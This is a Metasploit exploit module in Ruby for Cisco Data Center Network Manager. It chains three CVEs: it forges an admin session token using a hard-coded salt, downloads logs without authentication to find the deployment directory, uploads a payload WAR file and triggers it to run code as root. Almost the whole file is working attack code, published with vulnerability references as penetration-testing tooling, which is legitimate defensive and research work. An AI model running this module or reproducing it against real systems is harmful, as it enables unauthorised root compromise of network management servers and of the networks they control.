##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',
'Description' => %q{
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
directory and achieve remote code execution as root.
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
directory for the WAR file upload.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why).
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulneerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1619' ], # auth bypass
[ 'CVE', '2019-1620' ], # file upload
[ 'CVE', '2019-1622' ], # log download
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Automatic', {} ],
[
'Cisco DCNM 11.1(1)', {}
],
[
'Cisco DCNM 11.0(1)', {}
],
[
'Cisco DCNM 10.4(2)', {}
]
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 10 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 26 2019'
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
])
end
def check
# at the moment this is the best way to detect
# check if pmreport and fileUpload servlets return a 500 error with no params
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'vars_get' =>
{
'token' => rand_text_alpha(5..20)
},
'method' => 'GET'
)
if res && res.code == 500
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'GET',
)
if res && res.code == 500
return CheckCode::Detected
end
end
CheckCode::Unknown
end
def target_select
if target != targets[0]
return target
else
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
'method' => 'GET'
)
if res && res.code == 200
if res.body.include?('version":"11.1(1)')
print_good("#{peer} - Detected DCNM 11.1(1)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[1]
elsif res.body.include?('version":"11.0(1)')
print_good("#{peer} - Detected DCNM 11.0(1)")
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
return targets[2]
elsif res.body.include?('version":"10.4(2)')
print_good("#{peer} - Detected DCNM 10.4(2)")
print_status("#{peer} - No authentication required, ready to exploit!")
return targets[3]
else
print_error("#{peer} - Failed to detect target version.")
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
print_error(res.body)
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
return targets[3]
end
end
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
end
end
def auth_v11
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET',
'vars_get' =>
{
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
)
if res && res.code == 200
# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?("JSESSIONID")
return cok
end
end
end
end
end
def auth_v10
# step 1: get a JSESSIONID cookie and the server Date header
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET'
)
# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime("%s").to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
md5_str = Base64.strict_encode64(md5)
# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
},
'method' => 'GET'
)
if res && res.code == 500
return jsession
end
end
end
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
def get_war_path
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
'method' => 'GET'
)
if res && res.code == 200
tmp = Tempfile.new
# we have to drop this into a file first
# else we will get a Zip::GPFBit3Error if we use an InputStream
File.binwrite(tmp, res.body)
Zip::File.open(tmp) do |zis|
zis.each do |entry|
if entry.name =~ /jboss[0-9]*\.log/
fdata = zis.read(entry)
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
tmp.close
tmp.unlink
return $1.strip
end
end
end
end
end
end
def exploit
target = target_select
if target == targets[2]
jsession = auth_v11
elsif target == targets[3]
jsession = auth_v10
end
# targets[1] DCNM 11.1(1) doesn't need auth!
if jsession.nil? && target != targets[1]
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
elsif target != targets[1]
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
end
war_path = get_war_path
if war_path.nil? or war_path.empty?
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
else
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
end
# Generate our payload... and upload it
app_base = rand_text_alphanumeric(6..16)
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
post_data.add_part(war_payload,
"application/octet-stream", 'binary',
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
data = post_data.to_s
print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
'method' => 'POST',
'data' => data,
'cookie' => jsession,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body[/#{fname}/]
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
sleep 10
print_status("#{peer} - Executing payload...")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_base),
'method' => 'GET'
)
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
end
end
end
